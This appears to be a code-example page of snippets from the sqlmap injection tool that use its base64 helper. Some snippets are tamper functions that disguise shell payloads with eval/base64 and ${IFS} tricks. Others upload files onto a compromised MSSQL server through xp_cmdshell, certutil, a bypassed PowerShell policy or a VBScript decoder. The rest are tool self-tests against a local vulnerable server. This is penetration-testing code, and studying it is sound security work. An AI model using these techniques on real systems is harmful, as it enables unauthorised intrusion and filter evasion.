Exemple #1
0
def tamper(payload, **kwargs):
    """
    bash no spaces - not working on bourne shell (sh)
    """

    if re.search("^[A-Za-z0-9]", payload) == None:
        prefix = payload[:1] + "e'v'al${IFS}`e'c'ho${IFS}'"
        payloadb64 = encodeBase64(payload[1:], binary=False)
        suffix = "'|ba's'e64${IFS}-d`"

    else:
        prefix = "e'v'al${IFS}`e'c'ho${IFS}'"
        payloadb64 = encodeBase64(payload, binary=False)
        suffix = "'|ba's'e64${IFS}-d`"

    return (prefix + payloadb64 + suffix) if payload else payload
Exemple #2
0
    def _stackedWriteFileCertutilExe(self, tmpPath, localFile,
                                     localFileContent, remoteFile, fileType):
        infoMsg = "using certutil.exe to write the %s " % fileType
        infoMsg += "file content to file '%s', please wait.." % remoteFile
        logger.info(infoMsg)

        chunkMaxSize = 500

        randFile = "tmpf%s.txt" % randomStr(lowercase=True)
        randFilePath = "%s\\%s" % (tmpPath, randFile)

        encodedFileContent = encodeBase64(localFileContent, binary=False)

        splittedEncodedFileContent = '\n'.join([
            encodedFileContent[i:i + chunkMaxSize]
            for i in xrange(0, len(encodedFileContent), chunkMaxSize)
        ])

        logger.debug(
            "uploading the file base64-encoded content to %s, please wait.." %
            randFilePath)

        self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)

        logger.debug("decoding the file to %s.." % remoteFile)

        commands = ("cd \"%s\"" % tmpPath,
                    "certutil -f -decode %s %s" % (randFile, remoteFile),
                    "del /F /Q %s" % randFile)

        self.execCmd(" & ".join(command for command in commands))
Exemple #3
0
def download(taskid, target, filename):
    """
    Download a certain file from the file system
    """

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to download()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    path = os.path.abspath(
        os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename))
    # Prevent file path traversal
    if not path.startswith(paths.SQLMAP_OUTPUT_PATH):
        logger.warning("[%s] Forbidden path (%s)" % (taskid, target))
        return jsonize({"success": False, "message": "Forbidden path"})

    if os.path.isfile(path):
        logger.debug("(%s) Retrieved content of file %s" % (taskid, target))
        content = openFile(path, "rb").read()
        return jsonize({
            "success": True,
            "file": encodeBase64(content, binary=False)
        })
    else:
        logger.warning("[%s] File does not exist %s" % (taskid, target))
        return jsonize({"success": False, "message": "File does not exist"})
Exemple #4
0
    def fileContentEncode(self, content, encoding, single, chunkSize=256):
        retVal = []

        if encoding == "hex":
            content = encodeHex(content)
        elif encoding == "base64":
            content = encodeBase64(content)
        else:
            content = codecs.encode(content, encoding)

        content = getText(content).replace("\n", "")

        if not single:
            if len(content) > chunkSize:
                for i in xrange(0, len(content), chunkSize):
                    _ = content[i:i + chunkSize]

                    if encoding == "hex":
                        _ = "0x%s" % _
                    elif encoding == "base64":
                        _ = "'%s'" % _

                    retVal.append(_)

        if not retVal:
            if encoding == "hex":
                content = "0x%s" % content
            elif encoding == "base64":
                content = "'%s'" % content

            retVal = [content]

        return retVal
Exemple #5
0
def tamper(payload, **kwargs):

    #original cookie
    cookie_data = '{"last_book":"Mg==","userchl2":""}'
    x = encodeBase64(payload, binary=False)
    tmp = cookie_data.replace("Mg==", x)
    return urllib.parse.quote(tmp)
Exemple #6
0
def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload
    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return encodeBase64(payload, binary=False) if payload else payload
Exemple #7
0
def _client(url, options=None):
    logger.debug("Calling '%s'" % url)
    try:
        data = None
        if options is not None:
            data = jsonize(options)
        headers = {"Content-Type": "application/json"}

        if DataStore.username or DataStore.password:
            headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False)

        req = _urllib.request.Request(url, data, headers)
        response = _urllib.request.urlopen(req)
        text = response.read()
    except:
        if options:
            logger.error("Failed to load and parse %s" % url)
        raise
    return text
Exemple #8
0
    def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile,
                            fileType):
        infoMsg = "using PowerShell to write the %s file content " % fileType
        infoMsg += "to file '%s'" % remoteFile
        logger.info(infoMsg)

        encodedFileContent = encodeBase64(localFileContent, binary=False)
        encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
        encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)

        randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
        randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)

        localFileSize = len(encodedFileContent)
        chunkMaxSize = 1024

        logger.debug("uploading the base64-encoded file to %s, please wait.." %
                     encodedBase64FilePath)

        for i in xrange(0, localFileSize, chunkMaxSize):
            wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]
            self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)

        psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
        psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
        psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
        psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile

        logger.debug("uploading the PowerShell base64-decoding script to %s" %
                     randPSScriptPath)
        self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)

        logger.debug(
            "executing the PowerShell base64-decoding script to write the %s file, please wait.."
            % remoteFile)

        commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" %
                    randPSScriptPath,
                    "del /F /Q \"%s\"" % encodedBase64FilePath,
                    "del /F /Q \"%s\"" % randPSScriptPath)

        self.execCmd(" & ".join(command for command in commands))
Exemple #9
0
    def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile,
                             fileType):
        infoMsg = "using a custom visual basic script to write the "
        infoMsg += "%s file content to file '%s', please wait.." % (fileType,
                                                                    remoteFile)
        logger.info(infoMsg)

        randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
        randFile = "tmpf%s.txt" % randomStr(lowercase=True)
        randFilePath = "%s\\%s" % (tmpPath, randFile)

        vbs = """Dim inputFilePath, outputFilePath
        inputFilePath = "%s"
        outputFilePath = "%s"
        Set fs = CreateObject("Scripting.FileSystemObject")
        Set file = fs.GetFile(inputFilePath)
        If file.Size Then
            Wscript.Echo "Loading from: " & inputFilePath
            Wscript.Echo
            Set fd = fs.OpenTextFile(inputFilePath, 1)
            data = fd.ReadAll
            fd.Close
            data = Replace(data, " ", "")
            data = Replace(data, vbCr, "")
            data = Replace(data, vbLf, "")
            Wscript.Echo "Fixed Input: "
            Wscript.Echo data
            Wscript.Echo
            decodedData = base64_decode(data)
            Wscript.Echo "Output: "
            Wscript.Echo decodedData
            Wscript.Echo
            Wscript.Echo "Writing output in: " & outputFilePath
            Wscript.Echo
            Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True)
            ofs.Write decodedData
            ofs.close
        Else
            Wscript.Echo "The file is empty."
        End If
        Function base64_decode(byVal strIn)
            Dim w1, w2, w3, w4, n, strOut
            For n = 1 To Len(strIn) Step 4
                w1 = mimedecode(Mid(strIn, n, 1))
                w2 = mimedecode(Mid(strIn, n + 1, 1))
                w3 = mimedecode(Mid(strIn, n + 2, 1))
                w4 = mimedecode(Mid(strIn, n + 3, 1))
                If Not w2 Then _
                strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255))
                If  Not w3 Then _
                strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255))
                If Not w4 Then _
                strOut = strOut + Chr(((w3 * 64 + w4) And 255))
            Next
            base64_decode = strOut
            End Function
        Function mimedecode(byVal strIn)
            Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
            If Len(strIn) = 0 Then
                mimedecode = -1 : Exit Function
            Else
                mimedecode = InStr(Base64Chars, strIn) - 1
            End If
        End Function""" % (randFilePath, remoteFile)

        vbs = vbs.replace("    ", "")
        encodedFileContent = encodeBase64(localFileContent, binary=False)

        logger.debug(
            "uploading the file base64-encoded content to %s, please wait.." %
            randFilePath)

        self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)

        logger.debug(
            "uploading a visual basic decoder stub %s\\%s, please wait.." %
            (tmpPath, randVbs))

        self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)

        commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs,
                    "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile)

        self.execCmd(" & ".join(command for command in commands))
Exemple #10
0
def vulnTest():
    """
    Runs the testing against 'vulnserver'
    """

    TESTS = (
        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
        ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
        ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
        ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
        ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
        ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
        ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
        ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
        ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
        ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
        ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
    )

    retVal = True
    count = 0
    address, port = "127.0.0.10", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, database = tempfile.mkstemp(suffix=".sqlite")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix=".req")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix=".log")
    os.close(handle)

    content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)

    open(request, "w+").write(content)
    open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))

    url = "http://%s:%d/?id=1" % (address, port)
    direct = "sqlite3://%s" % database

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))

        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
        output = shellExec(cmd)

        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
            dataToStdout("---\n\n$ %s\n" % cmd)
            dataToStdout("%s---\n" % clearColors(output))
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info("vuln test final result: PASSED")
    else:
        logger.error("vuln test final result: FAILED")

    return retVal
Exemple #11
0
def vulnTest():
    """
    Runs the testing against 'vulnserver'
    """

    TESTS = (
        ("-h", ("to see full list of options run with '-hh'", )),
        ("--dependencies --deprecations",
         ("sqlmap requires", "third-party library", "~DeprecationWarning:")),
        ("-u <url> --data='reflect=1' --flush-session --wizard",
         ("Please choose:", "back-end DBMS: SQLite",
          "current user is DBA: True", "banner: '3.")),
        ("-u <url> --data='code=1' --code=200 --technique=B --banner --flush-session",
         ("back-end DBMS: SQLite", "banner: '3.")),
        (u"-c <config> --flush-session --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U",
         (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable",
         (u": '\u0161u\u0107uraj'", )),
        ("--dummy", ("all tested parameters do not appear to be injectable",
                     "does not seem to be injectable",
                     "there is not at least one", "~might be injectable")),
        ("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --text-only --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'",
         ("~1AND", )),
        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
        ("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<config>",
         ("CloudFlare", "web application technology: Express",
          "possible DBMS: 'SQLite'", "User-agent: foobar",
          "~Type: time-based blind",
          "saved command line options to the configuration file")),
        ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'",
                         "User-agent: foobar", "~Type: time-based blind")),
        ("<piped> -r <request> -l <log> --flush-session --banner --technique=B",
         ("banner: '3.", "STDIN")),
        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors",
         ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell",
          "Connection: keep-alive")),
        ("-l <log> --offline --banner -v 5", ("banner: '3.",
                                              "~[TRAFFIC OUT]")),
        ("-u <base> --flush-session --data='id=1&_=Eewef6oh' --chunked --randomize=_ --random-agent --banner",
         ("fetched random HTTP User-Agent header value",
          "Parameter: id (POST)", "Type: boolean-based blind",
          "Type: time-based blind", "Type: UNION query", "banner: '3.")),
        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B",
         ("banner: '3.", )),
        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U",
         (" users ", )),
        ("-u <url> --flush-session --banner --technique=B --not-string 'no results'",
         ("banner: '3.", )),
        ("-u <url> --flush-session --banner --technique=B --first=1 --last=2",
         ("banner: '3.'", )),
        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner",
         ("total of 2 targets", "might be injectable", "Type: UNION query",
          "banner: '3.")),
        ("-u <base> --flush-session --data='{\"id\": 1}' --banner",
         ("might be injectable", "3 columns", "Payload: {\"id\"",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "banner: '3.")),
        ("-u <base> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5",
         ("might be injectable", "Payload: <root><param name=\"id\" value=\"1",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
        ("-u <base> --flush-session --method=PUT --data='a=1;id=1;b=2' --param-del=';' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2",
         ("might be injectable", "Parameter: id (PUT)",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "2 entries")),
        ("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>",
         ("might be injectable", "Parameter: id #1* ((custom) HEADER)",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", " users ")),
        ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash",
         ("banner: '3.", " LIKE ")),
        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3",
         ("might be injectable", "Cookie #1* ((custom) HEADER)",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", " users ")),
        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner",
         ("NULL connection is supported with HEAD method", "banner: '3.")),
        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"",
         ("might be injectable", ": syntax error", "back-end DBMS: SQLite",
          "WHERE or HAVING clause (subquery")),
        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"",
         ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname",
          "2 entries", "6E616D6569736E756C6C")),
        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3",
         ("performed 6 queries", "nameisnull", "~using default dictionary",
          "dumped to HTML file")),
        ("-u <url> --flush-session --all",
         ("5 entries", "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "luther", "blisset", "fluffy",
          "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull",
          "testpass")),
        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"",
         ("SELECT * FROM users [5]", "nameisnull")),
        ("-u '<url>&echo=foobar*' --flush-session",
         ("might be vulnerable to cross-site scripting", )),
        ("-u '<url>&query=*' --flush-session --technique=Q --banner",
         ("Title: SQLite inline queries", "banner: '3.")),
        ("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"",
         ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",
          "dumped to SQLITE database")),
        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"",
         (
             "banner: '3.",
             "INTEGER",
             "TEXT",
             "id",
             "name",
             "surname",
             "5, foobar, nameisnull",
             "[*] 987654321",
         )),
        ("--purge -v 3", ("~ERROR", "~CRITICAL",
                          "deleting the whole directory tree")),
    )

    retVal = True
    count = 0
    address, port = "127.0.0.10", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            s.send(b"GET / HTTP/1.0\r\n\r\n")
            if b"vulnserver" in s.recv(4096):
                break
        except:
            time.sleep(1)
        finally:
            s.close()

    handle, config = tempfile.mkstemp(suffix=".conf")
    os.close(handle)

    handle, database = tempfile.mkstemp(suffix=".sqlite")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix=".req")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix=".log")
    os.close(handle)

    content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (
        address, port)

    open(request, "w+").write(content)
    open(log, "w+").write(
        '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' %
        (port, encodeBase64(content, binary=False)))

    base = "http://%s:%d/" % (address, port)
    url = "%s?id=1" % base
    direct = "sqlite3://%s" % database

    content = open(
        os.path.abspath(
            os.path.join(os.path.dirname(__file__), "..", "..",
                         "sqlmap.conf"))).read().replace(
                             "url =", "url = %s" % url)
    open(config, "w+").write(content)

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS),
                                    round(100.0 * count / len(TESTS)))
        dataToStdout("\r[%s] [INFO] complete: %s" %
                     (time.strftime("%X"), status))

        for tag, value in (("<url>", url), ("<base>", base),
                           ("<direct>", direct), ("<request>", request),
                           ("<log>", log), ("<config>", config),
                           ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
            options = options.replace(tag, value)

        cmd = "%s \"%s\" %s --batch --non-interactive --debug" % (
            sys.executable,
            os.path.abspath(
                os.path.join(os.path.dirname(__file__), "..", "..",
                             "sqlmap.py")), options)

        if "<tmp>" in cmd:
            handle, tmp = tempfile.mkstemp()
            os.close(handle)
            cmd = cmd.replace("<tmp>", tmp)

        if "<piped>" in cmd:
            cmd = re.sub(r"<piped>\s*", "", cmd)
            cmd = "echo %s | %s" % (url, cmd)

        output = shellExec(cmd)

        if not all(
            (check in output if not check.startswith('~') else check[1:] not in
             output) for check in checks) or "unhandled exception" in output:
            dataToStdout("---\n\n$ %s\n" % cmd)
            dataToStdout("%s---\n" % output, coloring=False)
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info("vuln test final result: PASSED")
    else:
        logger.error("vuln test final result: FAILED")

    return retVal